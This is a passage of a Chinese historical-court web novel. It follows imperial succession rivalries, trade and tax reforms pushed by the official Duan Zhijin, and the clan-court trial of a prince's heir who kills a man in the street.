他领着儿子等了一会儿,吕太清便来传他们进去。 “儿臣给父皇请安。” “孙儿给皇祖请安。” 纪禅把眼镜摘下,朝着焕儿招招手,将他抱置于膝上,问纪明瑚道:“好难得的孝心,你怎么来了?” “今日听大人们议论,儿臣看着父皇的手有些不稳,今夜来问安。” 皇帝一怔,摩挲了一番右手:“这都是老毛病……不妨事。” “父皇传过太医了吗?太医如何说?” 皇帝“唔”了一声:“不过是人上了年纪,手脚不稳,你放心好了,就算是今日,也难保朕的身子和你的身子哪个更好。” 纪明瑚没忍住乐了一下,又瞬间转喜为悲,满腮都是泪,下雨一般,小皇孙是绥王爱子,除了生母,最爱的就是父王,见他哭了也真情实感地掉眼泪,两个小窝窝里就全是泪了。 皇帝叫吕太清去扶,笑道:“这是怎么了?朕也没招惹你不是?” “都是儿臣不争气,叫父皇跟着操心。” 他撇过头去擦眼泪,把儿子抱下来,假嗔道两句“没规矩的东西”,又服侍皇帝用药,看着孤灯下垒成堆的文书,劝道:“朝廷的事情是做不完的,父皇缓一缓也无妨,或者派给大臣们。” “你还小也就不明白,有些事儿尤其是有些不合祖宗规矩的事儿,得皇帝一个人独断专行才能推进下去。” 纪明瑚若有所感:“父皇是决定要在河田府通商了?” 皇帝并没有直接回答,而是反问道:“你觉得若如段之缙所言,倘若倭寇来犯,朝廷能够战胜他们吗?” 纪明瑚的心砰砰地跳动,跳到有些生疼,他想着父皇以往的做派,想着今日父皇的神情,试探道:“儿臣愚见,海外诸国不过是弹丸之地,地狭人稀,算不得什么对手,倘若真的来犯,也不过是以卵击石。我泱泱大国是可以先通商而后建水师的。” “你如何知道的?” “上次父皇病重,太医们束手无策,宫里夷人大夫用的洋药却奏效了,儿臣便每每留心此处,也算是知道了境外的一些国情,不过是皮毛罢了。” 皇帝有了一些兴趣,现如今东南地区也有不少洋人出没,自己也该了解了解,便叫儿子 说来听听。 纪明瑚从宗教入手,口若悬河一直说到他们王室来往联姻,战争频发,皇帝听得眉头愈发紧,深觉这些洋人不知尊卑教化,实属蛮夷之辈,“不过他们东西应当很值得学习,不能因噎废食。” 语罢,他又看了看眼前的儿子,夸赞道:“很好,你是有主意的,日后好好辅佐你的兄长,做宗藩中的第一人。你的这个儿子也很好,你的侧妃有大功,能生出来健康的孩子,倘若他能活到八岁长成人,朕就把他封为世子。” 纪明瑚领着焕儿谢恩,一直看着父皇睡下了才抱着孩子离开。【你现在阅读的是 】 140-150 第141章 141纪明瑚回到承明殿…… 纪明瑚回到承明殿,侧妃所住的珮仁轩一半儿的灯都熄了,显然是没等着他这个王爷回来。 吩咐奴才把孩子抱下去睡觉,纪明瑚朝着珮仁轩走去,他的大太监粟禾子皱着一张肥脸劝:“我的爷,大半夜地再进去招人烦,咱们还是自己安置,或去找别的奶奶吧。太后娘娘不也总劝着王爷去看看王妃吗?要不咱们去王妃院子里瞧瞧。” 纪明瑚执拗脾气也上来了,嗔道:“你倒是管起本王来了!你几层皮!” 吓得粟禾子闭了嘴,纪明瑚气势汹汹地走到门口,用眼神示意宫女给他开门。 这胆子也够小的,大冷天怕靴子踩在地上发声,还先在外边甩了去。 可就是这般,都叫里边没睡的侧妃听着了,当即传出她斥骂的声音:“大晚上,先把孩子弄走,又装得贼一样进来,我是打你了骂你了还是有哪里对不起你!” 纪明瑚甩甩自己腰上的荷包,朝着贴身伺候的双喜小声问:“你们侧妃又在哪里吃了气?可是给太后请安受训了?” 双喜咧嘴一笑,高声道:“我们侧妃哪里能在外边吃气呢?奶奶吃得气,不全是主子爷给的?”骇得纪明瑚想去赌她的嘴,里边的侧妃已然全都听见了,冷嗤一声:“甭朝着双喜打听,你有本事进来问问我。” 纪明瑚不敢进去,贴着内室的屏风犹豫道:“那是怎么了?今天晚上把链子送回来的时候,粟禾子说你挺喜欢的呀!” “我问你,你领着儿子干什么去了?” “带去给父皇请安,父皇已经答应了封儿子为世子,以后我的王爵不用降一等……” “呸!”里边突然传来摔打声,该是被褥一类的被摔在地上,紧跟着侧妃连珠炮一样的话:“你拿着儿子去争宠也不是一次两次了,自己在皇上面前显眼还不够,偏拽上了儿子去。你叫三哥怎么想?叫纪煊怎么想?” 纪煊是纪明祚的长子,更是他的嫡子,在大家眼里若无意外,纪煊就是皇太孙了,既有皇太孙在前,纪焕就应当做陪衬,也是为了后来的待遇着想。 “哪就想这么长远了?他不过是个孩子,父皇疼爱他也是他的本事,该那些不得宠的孩子反思自己才是。” 在纪明瑚看来,纪煊不如焕儿该是理所当然的事情,老三未免太规整,和嫡妃生下来普普通通的嫡子,自然不如自己的焕儿灵俊。 陈侧妃见他一肚子的理由,更是生气,讥诮道:“是了,你是主子,我不过个奴才出身的下贱人,怎么能知悉主子之神奇料理之法?全是我不懂事了。但愿焕儿的爹还记挂他,不要叫他的小命也陪进去。” 纪明瑚嗫嚅起来,想解释解释,但自己的谋划叫她知道了,恐又是一顿好骂,怕再难进屋了,于是可怜万分地问:“我能进去内室睡吗?” “你还想进来!我这里的榻小,容不下您这尊大佛,劳累您在外头睡吧。” 纪明瑚便真不敢进去了,只着脚上的棉袜出屋,鞋穿一半儿暗暗琢磨那个“外头”是什么意思,是叫自己睡珮仁轩外室吗?干脆又把鞋子甩了,想着再进去问问。 这次灯只留了一盏,里边的侧妃还在不停歇地骂,他示意奴才们噤声,自己鬼鬼祟祟地贴在屏风上听里边的人说话。 内室里,双喜把灯挑亮了几分,又往侧妃身边移,劝道:“主子对着王爷也太凶狠了些,便是母亲待儿子也没有这样说打说骂的。” 陈宝珍正绣着荷包,又瞧着屏风上趴着的黑影故意高声道:“他是王爷怎么了?他拿着儿子做筏子了不得了?我算看出来了,这些位高权重读过书的才不算人呢!全是些牲口、畜力。但愿他哪一天恼了我,好叫我绞了头发去做姑子,还卧佛寺欠下的业障!” “整日里吃斋念佛,天下没有慈悲过他的,自己装模作样去什么佛寺破什么三关,属人违令离京他能不知道吗?” 说完又是一声阴阳怪气:“可恨我没那个好哥子好姐姐来护持着我。哪里像那有姐姐心疼的人,弟弟想要什么女人她都操上了心。” 双喜一开始倒还没反应过来,后来跟着侧妃的眼睛看过去,那若隐若现的身影叫她吓得跪到在地,抖着手低声说:“王……王……” “怕什么!什么王不王的,一个鼻子两只眼,把人逼到了绝路上也不过是白刀子进红刀子出!” 粟禾子听得满地转圈,纪明瑚也是一个激灵,再不敢问那“外头”是什么意思,扯着粟禾子往外撤,倒不是怕这个性子莽的真给自己一刀,实在是自己这样大一个人再去问,怕又要戳了她的眼眶子,又是月余不得安生。 承明殿里吵吵囔囔不饶人,段之缙今日虽挨了不少骂,家里却风平浪静,只有一点心存疑惑,把段诠叫来询问。 “你们老师是哪个?平日里都是如何上课的?” 段诠答道:“三皇子的尚书房师傅是王自平大人,绥王的先生是席翱大人。小皇子们共用两位师傅,皆是翰林院学士。听说太子还时常来尚书房听课,但我还没见过。皇子的先生们一旬授大课一次,我应当跟着三皇子吃小灶,王师傅单独给我们授课。” “你觉得他讲得如何?” “四书五经自然比爹爹为我请的先生好,但……” “怎么了?” 段诠拽着自己的衣角:“儿子觉得他迂腐。还常常教导三皇子重本抑末、士农工商的事情,儿子觉得不对。” “他讲重本抑末?” “是,他话里话外还说了不少摊丁入亩的不好处。” 段之缙和沈白蘋面面相觑,沈白蘋急着问:“你们三皇子是什么反应。” 段之缙难掩面上的凝重:“不用问他了,三皇子定然是受教了。” 沈白蘋气得捶一下桌,急道:“这可如何是好?西南摊丁入亩都了结这么多年了,叫近十年不缴田赋的人缴纳,那才是要生变乱。再者,在西南的差事也就改土归流和摊丁入亩两项,咱们耗了多少心血进去,一朝断送事小,断送之后被反攻倒算可是性命攸关的大事。” 段之缙神色更加凝重,“我明白,我都明白……” 改制就是这样,一开始总是难以尽善尽美,在段之缙看来哪里出了问题改哪里就是,制度是一点点完善起来的,但那些人却容不得你出一点儿的差错,但凡有个疏忽就要上纲上线,要攻击改制本身。 摊丁入亩的政务还没有推行全国,开海通商才刚刚起了个头,还有很多的事情没有做,绝不能在这时候叫人把西南的家底儿全都掀了。 段之缙陷入沉思,皇帝是不许任何人分权柄的,他宁可按把吃丹药也要把大权死死攥入手中,不过鉴于他对着改制的事情十分积极,大权在握倒是能够迅速推进改制的重要缘由。 长乐王和郑兄二人已经是分不开的了,郑楒琅之语就是长乐王的意思,长乐王说话也有郑楒琅的影响在,对皇上,他们可谓是唯命是从。尤其是长乐王,甚好揣摩上意,还总是能揣摩透,因而皇帝的打算就是他们的打算。 宋征舆不必说,妹夫胆小些,但一心一意地改制,绝无二心。 邹文是户部的铁门闩,新政的坚定支持者,只要有白花花的银子往国库里流他什么也不管。 只剩下苏橙和方叙墨,他俩说一句斗红了眼也不为过,尤其是长乐王带着郑楒琅出京处置营田水利之后,更是没个压制的人了,皇帝只觉得他们小打小闹,懒得管。 苏橙如何倒看不出,方叙墨也难保会不会为了三皇子反新政。 今年是景淳十四年,明年有殿试自己必然能任阅卷官,朝廷也该进些思想开放、精力旺盛的新人帮着自己这些人处理政事。 段之缙叮嘱儿子:“既然王师傅在四书五经上是有真学问在的,那你就要好好学,认真地学,只要爹爹回家,你就把学到的东西复述给爹爹,听明白了吗?还有三皇子平日里读的书,写的课业,你也要好好学习,到时候说给为父听。” “啊?不是说不想学就不……” 话说到一半,段诠看着娘亲风云突变的脸赶紧改口:“是,儿子知道了。”却挡不住人家已经听出了苗头,怒道:“才叫他悔改了一点儿又要松懈下去,你倒是当了好爹!” 段之缙赔笑:“不是觉得王师傅教得那些没用吗?再说了,伺候皇帝也不是什么好差事,叫他舒坦舒坦也无妨。” 这说得的确是千真万确,段诠求情道:“娘亲不知,我们尚书房里除了我和唐雅源,全挨过师傅的板子。只要皇子出半点儿差错,就往我们身上找补,爹爹也是心疼我。” 段之缙瞧着妻子神情不那么严厉了,赶紧转移话题:“怎得人家唐雅源不挨先生的手板子?可是绥王聪慧用功,从不出差错的缘故?” 段诠摇摇头:“是因为绥 王跋扈,他说不准打唐雅源,没一个敢给他打板子的。他们在课上看那些弯弯绕绕的夷文,或是抄佛经的,没人敢管。” 段之缙瞬间警醒起来,“什么夷文?” “授算术课的传教士用的夷文。爹爹,你说学这个东西有什么用?” 学英语?这太奇怪了。语言作为工具,该有其他用途才对,如果不是以此为媒介学习其他东西,学这个根本没什么实效。 可绥王想要了解什么呢?传教士和他说了什么? 这些都是无从得知的,段之缙只知道开春破冰之时,不仅宋征舆这个妹夫带着妹妹去了北边辽河省,南边的河田府也终于开口通商了。 第142章 142河田府的商路一开…… 河田府的商路一开,商引便在几日之内卖了出去,这次为了给东南分流,商引都是定价售卖,并没有延续东南“价高者得”的惯例,其商税却仍然和东南持平,因此洋人只会因远近、买卖价格等因素来到河田府交易,并不会因关税而舍东南。 短短几个月,河田府就大变样,其繁华程度丝毫不亚于淮宁重镇,水师也在当地建设起来。 到端午佳节之日,皇帝大宴群臣,高高的粽子山堆砌起来,最上边那个格外大,按雍朝的习俗,要皇帝射下来最顶上的粽子自己用,而后将剩余的粽子分给皇子、公主与群臣。 这些日子一切顺利,长乐王从直隶一带回京,营田水利的工程进展极好,明年就能吃上北方的水稻了;辽河摊丁入亩捷报频传;河田府的商税节节攀升,但东南的税收受的影响却不大;就连他旧疾复发,也是没过多少时日即得痊愈。 诸事顺遂,身体也跟着精力充沛,他恍然感觉到前所未有的力气在四肢百骸流转,射那闹着玩儿一般的粽子自然是不在话下。 但纪禅另有打算。 他招招手,叫吕太清把御弓拿上来,带着翡翠扳指的手在桦皮弓双龙的刻痕上摩擦,忽然道:“朕也是年纪大了,一年不如一年,虽射粽还是轻而易举,但总要有些新气象,叫新人也上来露露脸。” 大家的视线在皇太子和三皇子之间徘徊,皇帝拍拍御弓唤道:“太子,你来!” 皇太子躬身上前,双手接过御弓,他正是身强体壮的年纪,一箭将那顶上的粽子射落。 一些人松了一口气,另一些人却难掩失望。 吕太清将掉落的粽子拾起放入锦盘内呈上,皇帝看了一眼,食指点在龙椅上,而后展颜一笑:“朕吃这东西不克化,就由三皇子代用吧。” 一瞬间风云突变,底下的气氛瞬间倒转。 纪明祚跪受赐粽,大庭广众之下悠然自得地吃了,皇太子木偶人一般并无半分神情不虞。 第一个粽子解决,剩下的粽子就好分了。 他把吕太清叫到身边吩咐:“先献与两宫太后,记住了,要同时献。等太后用完,赐给皇后、贤妃和安贵妃一人一只。” “赐给绥王一只小的,不要叫他全吃完。” “长乐王一只,剩下的皇子一人一只。分完皇子,宗室们一人一只。” “大臣嘛……头一个粽子给段之缙,然后再分给有爵位的官员和皇子师傅,之后先军机处后内阁,最后按品级分,不要错了。” “等着这些人都拿着了粽子,内、外命妇里,先分太妃们,再分与朕的妃嫔,最后分与公主和宗室夫人。外命妇中第一只先给段之缙的嫡母,后与他的生母,再与他的夫人。其次仍按大臣们所得的顺序分。” 皇帝从上到下、细枝末节处全都考虑了一边,既要彰示皇帝至高无上的地位,又要表示国朝以孝治天下的礼仪,还要显示皇后为后宫之首的荣耀顺便给皇太子的生母贤妃、三皇子的生母安贵妃体面。 最后他还要以分粽的顺序对臣子们表示亲疏关系。 众人都得了粽,齐齐跪拜山呼万岁,这才算真正地开宴。 两位太后年纪大了熬不住,早早地回去,小皇孙和年纪尚小的皇子、公主在后边到处跑,时不时来前边找自己的父亲,并无十分严厉的规矩约束。 段之缙在前边和秦行说话,没一会儿被皇帝叫上去,皇帝身边站着纪明祚和邹文,膝上坐着不知是皇子还是皇孙。 “你的通商的主意不错,绥王想得也不错,现在确有商人帮着出钱建设水师。你既然有这方面的才能,朕也不能屈才,以后户部就由你来督管。正好你和邹文也是老相识了,日后互相配合着来。三皇子还年轻,你们要同心协力,多多地教导他户部的事情。” “臣/儿臣领旨。” 段之缙和邹文一块儿退下去,邹文顺势和旁边的苏橙换了位置,坐在段之缙旁边。 “等会儿出去喝酒不?” 段之缙一愣:“散了宴还喝?那我可不去。我妹妹家的那小子病了,家中只有弟妹照料,我得尽早回去看看。” “载之没带着孩子去吗?” “小子的身子不好,经不起舟车劳顿也受不了辽河苦寒之地,和他妹妹一起留在了京里,放在我家照顾。” “你这哥哥做的,赶上爹了。那好吧……我就是想和你商量商量三皇子的事情,到时候再说。” 邹文和苏橙换回来,苏橙与段之缙碰了一杯,问道:“怎么不叫你儿子跟三皇子一块儿?唐雅源都跟着绥王来了。” 段之缙眯着眼睛看把剩粽子赐给唐雅源的绥王,他怀里多了一个孩子,正是皇帝方才搂着的那个。 “他照顾弟弟,不能来。” “唉……那就是明灯不会心疼人了,唐雅源的事情可都是绥王来解决的,平时家里有个什么事儿也都是绥王替他张罗。” 段之缙收回目光:“唐大人身在西北,不能照顾家里,绥王抚恤唐家人也是情理之中。我家可还有我在呢,很不必劳驾三皇子。” 苏橙碰了个软钉子也不生气,忽然说起皇子师傅的事情:“这些人都是有真本事的,王自平更是三川王家的人,当时三川摊丁入亩,他们家因为隐匿土地被抄了一次,若不是因为王自平自己是当代大儒,能为皇子师,恐难有今日啊。叫令郎跟着王自平好生学习,两三年下来,定然是受益匪浅。” “多谢提醒。” 该说的也都说了,下宴之后,段之缙和母亲、妻子一块儿回去。 两个母亲的马车在前,段之缙和沈白蘋在后,“我在后边倒是见了一件趣事。” “你不是同我说过,方叙墨言及绥王宠妾灭妻的事情吗?今儿一看,他这一妻一妾的关系倒是真不错。” “怎么说?” “绥王的老婆还是个小姑娘呢,约莫着才十五六岁,侧妃倒是年长不少,吩咐起事情来雷厉风行,一直在王妃身边伺候。王妃也有意思,两杯酒下肚要同侧妃玩什么打 手的游戏,被拍得手通红还耍赖。” 这倒是意料之外了。 不过想想绥王结婚的年纪,倒也在情理之中。 诸兄弟之间,他成亲时年纪最小,才满了十二岁,当时成亲也不是为了男女婚配、绵延子嗣的缘故,而是挑捡了八字相配的女孩儿冲喜,好给当时生病的王爷压命。 两个全是孩子,过家家一般成亲,当时的侧妃还是绥王大宫女,估计洞房花烛之夜还得她来给两个人拍觉。 那方叙墨也无甚好忧虑的,妹子在宫里过得开心,虽无丈夫的宠爱但殿内侧妃不倒反天罡也算是不幸之中的万幸。 可若是方叙墨在这一场储位之争上下错了筹码,才是他们家女孩儿真正的大不幸。 夜深到极处,东边泛起了鱼肚白,幸好当日能休沐,又不是段之缙值班,这才叫他好好睡了一觉,一家人昏睡到了晌午才幽幽转醒,今日也没什么事儿,段之缙决定带人去给自己也请一位洋先生,沈白蘋和弟妹一块儿给家里的孩子裁衣服,就叫他一人去了。 洋人在紫禁城里也算是受宠的,皇帝很爱他们的画技,也很喜欢同他们聊聊算学的事情,因而传教士在京城中的行动并不十分受阻,在城郊处便有一小教堂,他们传教工作做的不错,今天也有两三个人在同神父忏悔。 见来了生面孔,神父上来询问,段之缙表明来意,神父答应下来为他介绍老师。 一则是这种朝廷大员报酬定然给得高,二则传教本来就在潜移默化之中,影响上层正是至关重要的一节。 和神父探讨了一些中外宗教的事宜,段之缙看着天色有些晚了才启程回去,马车行到一半儿突然停住,琼香报道:“二爷,前边有马车堵住了,咱们过不去。” “几辆马车堵住了?” “呃,瞧着是两辆。” 两辆怎么堵住了?这是内城,只住着宗室王孙和朝廷官员,道路都提前规划过,起码能叫两辆马车并行,怎么可能堵住? 他掀开帘子一看,近的那辆马车是王府规制,远的那辆应当是官员的马车。 哪个宗室又和人起冲突了?不过想来也不是什么大事,宗室王公虽高于朝廷官员,但后者是拿着朝廷名器为皇帝办差的人,也不是他们想为难就为难的。 段之缙一拍脑门,“去叫步军统领衙门和巡城御史来,堵成这个样子像什么话。”然后坐在马车上等人来疏通。 前边照样在吵吵嚷嚷,忽而暴起此起彼伏的尖叫声——“杀人了!杀人了!” 段之缙浑身一个激灵,腿先软了下去,琼香赶紧扶着他下车上前,果然有一个男子持佩刀捅进了对面人的腹部,那人就跟漏了的水囊一样大股大股地涌出鲜血。 “赶紧去找医生!巡捕营的人呢,他们都死了吗!” 这群人,每次都在事情无可挽回了才姗姗来迟,干什么吃的! 等着巡城御史和巡捕营的人来了,医馆的大夫也已经宣告受害人死了,行凶者便该即刻抓起来,关到牢里待审,只是那些士兵气势汹汹地上去,叫人拿令牌一晃,气势登时弱了下去。 “我是长乐王的世子,宗室支藩,即便要关也不能你们步军统领衙门来拿人,该宗人府才对。” 他抬头看向远站着的段之缙:“段中堂,这里边的规矩您也懂,还是叫宗人府来吧。” 纪明有恃无恐,但对着段之缙却算不上挑衅,反而是彬彬有礼的样子,说的也都是实话。 而后长乐王府的人急匆匆地赶过来,上前疏通:“诸位不要急,我们王爷还在衙门里呢,也不知什么时候能处理完公务。现在宗人府的人一时半会儿也来不了,奉我们王爷的命令,先把世子带回去,叫王妃看管。” 第143章 143长乐王府的仆…… 长乐王府的仆从说的没错,如果没有皇帝的特令,纵使犯罪,宗室也只能由宗人府处理。尤其是纪明身为长乐王的世子,亲王世子爵位甚至在郡王之上。岂是小小的步军统领衙门能够管的? “但是有一件事,你们倒是可以先做一做。”段之缙把巡城御史叫过来吩咐道:“现在当场询问目击者。把人证物证都固定下来,然后驱散人群。” 巡城御史赶紧照做,段之缙又看着长乐王府的仆从道:“世子你们怕是不能领回去了。既然需要宗人府来处置,那就在此地等着宗人府来。” “可是我们王爷吩咐……” “朝廷就是这样的规制,即便是王爷来了,也不能改变。” 他们心里想的什么,段之缙心里门儿清。只要把世子领了回去,到时候如何教导世子说话,还不是王爷想要怎样就怎样。而人群一旦驱散,就给了他们串供的机会。那今天死的这个官员或者是官员的家属,可真的是死不瞑目。 纪明这个世子当得也算是臭名昭著。段之缙老早就听说过他的名声。之前就因为与前任户部尚书俞石明争路把他的马夫当街杀了。只不过因为有他的父亲求情,再加上那次死的是一个马夫,非为达官贵人,俞石明也不是皇帝宠爱的官员,另则长乐王百般求情,他的世子只不过被圈禁了一段时间。出来后老老实实做人,倒也没再出现其他的祸事。 只不过于私德上多为人诟病,每每被巡城御史弹劾,但是皇帝懒得看,他的父亲也舍不得管,就这么耽搁下来。没想到今天真的是吃了熊心豹子胆,如何就又当街把人杀死了。 现在只能看长乐王和总人府的官员谁来得快了。 两边都在着急的等,那边盼着他们的王爷快点来,这边段之缙盼着宗仁府的官员赶紧来。 步军统领衙门和巡城御史在固定证人和证物后将一部分人领入了衙署,准备录口供。 纪明直到这个时候才发现碰上了硬茬子,心里莫名其妙得有些慌。“不过倒也无妨,反正父亲会保着我的。”他这般想着。 但是天不遂人愿,偏偏是宗人府的官员先来了。 说起来宗人府,哪一个宗室王公不是见着心颤,听着胆寒?这本来就是宗室王公领着的衙门,处理起来自己的同族毫不含糊。尤其是宗室之中,唯有长乐王最为得宠,受皇帝的恩遇最厚,甚至为他封世子,其他的王公哪有这个待遇?因而嫉妒的人数不胜数。现在见他的宠儿作奸犯科,又当街捅死了人,几乎是飞着赶来的,一点情面也不留,当即把王爷世子“请”到了宗人府。 段之缙、巡城御史和王爷的从属都急匆匆的进宫和皇帝汇报这件事情。 死者是工部员外郎的儿子,据周围人的描述,这也是个不争气的东西,也不知是喝醉酒壮了他的雄心豹子胆还是怎的,竟然趁着世子不在,与窑子铺里世子的相好好上了。被人家抓一个正着。 纪明当时没有发作,口上说些不过是个女人的话,心里却恨得要死。这一次在路上碰到了这个活冤家,本来憋着气绕过去也行,可偏偏又被他的奴才撺掇着,说了些受害人的坏话。纪明当时气不过,就以冲撞了自己父王车驾的名头,叫受害者下来道歉。 受害者也是年轻气壮的小伙子。请罪之后心里还是不平衡。抱怨的声音大了些,又说起了上次的事情。言语里在骂纪明是绿毛龟。纪明何曾受过这种气?直接拔出身上的佩刀捅了过去。捅的时候畅快极了,捅完之后也不觉得担心,因为今日的错不光在自己身上,对面儿也有错,自己的父王再保一保,定然不会有什么事的,大不了再圈禁个一两年,反正这口气他不会咽下。 皇帝也是无奈,他年纪大了,昨天晚上闹了大半个晚上,本就精神不济。今儿又要睡觉的时候了,才看见今日事情的口供。大发雷霆,茶碗摔在地上,怒道:“没一个好东西!全都是些混账玩意儿!死得也不冤!” 底下那员外郎 哭声更高。 长乐王在下边听着舒了一口气,恳求道:“今日的事情,确实是儿的不对,但是员外郎的儿子也并非没有过错。儿已经知道错了,在宗人府里写了请罪折子,请皇上宽恕他。” 皇帝虽没看请罪折子,但并不想和他们计较。这么多年也已经习惯了,这次仍打算轻拿轻放圈禁个几年。段之缙见他就要下圣旨,赶紧进谏:“陛下,这不合我朝的律令。凡宗室犯罪,一律要宗人府联同三司会审。只有审清案情的经历录明口供,由大臣们提议刑罚,陛下进行批复后,这件事才算真的了解。” 他深知如果只是这般,皇帝是不会守什么律令的,只有事关重大激起了民愤才真的叫他放在心上。“况且长乐王世子在京中素有恶名。今日又是当街杀人,众目睽睽之下,天理昭昭,不能就如此草草结案。死者还是工部员外郎的儿子,官员的亲眷,他虽然有错,起因却小,口舌之争直接闹起了人命。只是圈禁恐怕人心不服……不,就臣所见,百姓们已经议论纷纷了。” 皇帝看向九门提督,九门提督看看长乐王和段之缙,最后决定实话实说。“陛下,的确如段之缙所言,当时的百姓已经是议论纷纷,言语之间愤慨难平。” 皇帝直接趴在了御案上,揉着额角,显然是头又痛了起来。 “他这个畜牲啊,真还能怎么办?传旨,宗人府连同三法司会审,审完立刻上折子,重重地议!朕即刻批复。” 长乐王这才慌了起来,可还是不愿意当着这么多人的面给自己的儿子求情。且有这些人在,总是会干扰皇帝,不如自己和皇帝单独相处的时候,为儿子求情利索,于是等着皇帝叫散,他还在那直愣愣地站着。众人都出去了,他才准备开口说话。结果一张口又叫皇帝顶了回来。 “你怎的还不走,又要给你的儿子求情吗?朕告诉你,这次就是天王老子来了!皇考亲自来吩咐朕了!也得交给三法司和宗人府会审!你早干什么去了?早点不约束着他,闹出了这种事,叫朕来为难……出去!” 长乐王见皇兄如此不留情面,又气又急。为了皇上,他可得罪了不少的宗室,这次叫宗人府来审,岂不是羊送入虎口?万一真给自己的儿子议成赐自尽,那自己的心可就痛死了。就算是革爵,自己的心里也不好受。 他脑子急急转着,忽然想起了一个事情,恳求道:“陛下,臣不是为儿子求情的,但他身为亲王世子,在郡王之上,不能只由宗人府会同三法司会审,应当另设王、大臣主持案件审理。” 另设总理王大臣,若再选宗室定然不能再从宗人府里选,其他的宗室又没有官职在身,如果要选,只能从皇帝的儿子里边选。 这就不怕了,这些人总不会对着自己的亲堂弟、亲堂兄喊打喊杀 倘若要选大臣,那就是选军机处和内阁的大臣。而他们多多少少都要受自己的掣肘,不敢真的处置儿。 叫总理王大臣去压制宗人府宗正,不怕儿受苦。 皇帝想想还真是这样,于是叫他回去,说自己明儿再决定人选。 长乐王终于彻底松下了气,准备回府叫王妃收拾一些东西,自己今天要去宗人府看看儿子。 到了宗人府,长乐王看见吓惨了的儿子气不打一处来,先叫他吃了一个嘴巴子。 “该死的畜牲,你发疯病了吗?上次杀个马夫也就罢了,这次杀了官员之子!你做下那么多前科还敢杀人,是不想活了吗?” 纪明跪在父亲身前抱着他的腿哭,一句句只说自己多么委屈,多么害怕。 “宗正横眉冷对,一言一语全是喝问,儿子真的受不了,求父王带着儿子回去吧。” “他们给你录口供了没有?” “还没有。” 长乐王回想一番,现任宗人府的宗令是九哥礼亲王,这素来无冤无仇……对了!是皇帝把他嫡长子的世子之位夺了! 是因着这个事情嫉妒我,还是想要借此与我操作,好给他的儿子挣上世子之位。 长乐王一脚踹开纪明,“你还想着回家呢……你没被赐自尽,已经是天大的恩典了,说不得你皇叔想着数罪并罚,直接要了你的小命。这又能怪谁?全是你自己惹下来的祸。” 纪明听着更怕,可看见父王给他带来的东西,又觉得自己的父王不过是刀子口豆腐心,定然不会不管自己,果然父王叮嘱起来:“今天晚上好好歇歇,愿你吃一堑长一智,不要再犯了。” 长乐王苦口婆心,但也清楚这儿子怕是会吃一堑再吃一堑,他要是能悔改,河水都能倒流。 长乐王带着随从侍卫离开,临走时对着左右宗正恐吓一番,叫他们不要连夜审讯。 “可是我们礼亲王……” “那儿我会去说的。” 养心殿内,段之缙路走到一半儿又被叫了回来,皇帝看着侍卫的奏报,长乐王深夜赶去宗人府看望世子时说的话赫然纸上,他冷笑一声:“那么个孽障,有什么好可惜的……你是目击的大臣,算是人证不能任主审大臣,朕会叫三皇子去审,你指点着三皇子,起码给纪明议成除爵。” 皇帝现在吃上了丹药,精力旺盛,脑子跟着清醒起来,也不打算着轻拿轻放了。与其叫这根毒刺留着,不如替他的弟弟拔掉。 第144章 144“殿下,已经寅正时分了。…… “殿下,已经寅正时分了。”外头的大太监张清紧盯着西洋钟,一看见指针走到了地方就去拍门,唤三皇子纪明祚起身洗漱。“殿下,还有半个时辰,就到去尚书房的点儿了。” 纪明祚一向自律,从听到外边张清唤的那一刻起就从床上坐了起来,他的嫡妃毓敏也跟着起身伺候他洗漱。 “那么多的奴才,哪就用得着你起来了?还是好好躺着。” 毓敏摇头:“我做妻子的,服侍殿下是理所应当。殿下今日尚书房的课结后要去审长乐王世子,是个什么打算。” “唉……我也不知。” 他的确是为难得很,王叔向来受恩深厚,在朝中也是举足轻重,不说别的,那会考府全掐在他一个人手中,连个制衡的也没有,来往银钱批与不批,都是他一人说了算。 可纪明也实在是气死个人,若不将他革爵圈禁,怎么对得起那些动辄得咎的宗亲?倒显得父皇处事不公。 皇子妃毓敏是毓秀中堂的孙女,至清至贵的人家出身,对着丈夫一心一意,此时见他为难,虽不能提什么实用的建议,却总能在小情上宽慰他。 “殿下不要忧心,不是说段大人也会出席会审吗?且刑部尚书秦大人也在,这两位都是父皇的宠臣,若有拿不定的主意,不妨问问他们。总不会叫你来背过错。” 她这话说的有道理,纪明祚叹口气:“现在也只能听这些老大人的提点了。” 审案的地点在宗人府,等着纪明祚心焦焦地上完课,赶到的时候,其他的大人都已经坐好,又起身跟他行礼。 他的九叔礼亲王,军机处的段之缙、刑部的秦行和大理寺、都察院的长官俱在,只差“人犯”纪明。 纪明祚坐在堂正中,偏头去问王叔:“昨天晚上录的口供呢?” “昨天晚上没录口供。” “怎得不录?” 礼亲王笑笑:“这到底亲王世子,他才来也担惊受怕的,再吆喝着录口供岂不是吓坏了他?今日当着侄儿你的面儿录口供,也省的别人说我们宗人府弄虚作假。” 实则不然,前天晚上,宗人府官员叫长乐王挨个吓唬了一顿,不仅当天没敢录,连着第二天都来礼王府请示,是否要给王世子录口供。 礼王刚接待了自己的十一弟,两人暗地里交易了些,一个劝着皇帝对宗室宽仁,给素来规矩的礼王封世子以显明陛下一片友爱之心,另一个帮着弟弟处理儿子的事情,定然不叫乖侄儿遭罪。 这两个人勾兑好,就等着今日审案了。 案情一清二楚,也没什么好审的,更没什么好辩的,要说严重,纪明倒也不是定然要死。要说不严重,单看当今打压宗室的力度,他也得不着什么好。 一轮审后,该问的都问清楚了,文隶汇集口供,大人们也退到后堂,喝茶的喝茶,更衣的更衣,段之缙找到纪明祚,告诉他皇帝的吩咐。 “陛下的意思是要重重议处的,革爵是最起码的处置。” 纪明祚茶碗一顿,又小心放下:“父皇是如此吩咐的?” “正是。” “可……” “殿下,长乐王世子说一句活该也不冤,再者这是陛下的吩咐,咱们做臣子的只能照办。您是担心长乐王吗?” 纪明祚微微颔首。 段之缙劝他:“长乐王有王叔的名分,有亲王之尊,那又如何?您是龙子凤孙,陛下的皇子,他说到底是普通宗藩,比不得殿下。他为长,你为亲。他再大,头上还有个陛下,您要以陛下的吩咐为准。” “好,我明白了……段中堂,多谢您。” 段之缙见他答应下来,也就欣然退出去,正巧碰上礼亲王往里进,招呼他道:“段之缙,三皇子在里头吗?” “正在里边。” “那就好,那就好……”礼亲王念叨两句,刚要进去又回头拍拍段之缙的肩膀:“今儿下午辛苦了,等会儿咱们就听三皇子的,他说什么就是什么,也好早早回家去,你说呢?” 这正合段之缙的意思,笑道:“全凭王爷做主。” “可别,咱们这是全凭三皇子做主。” 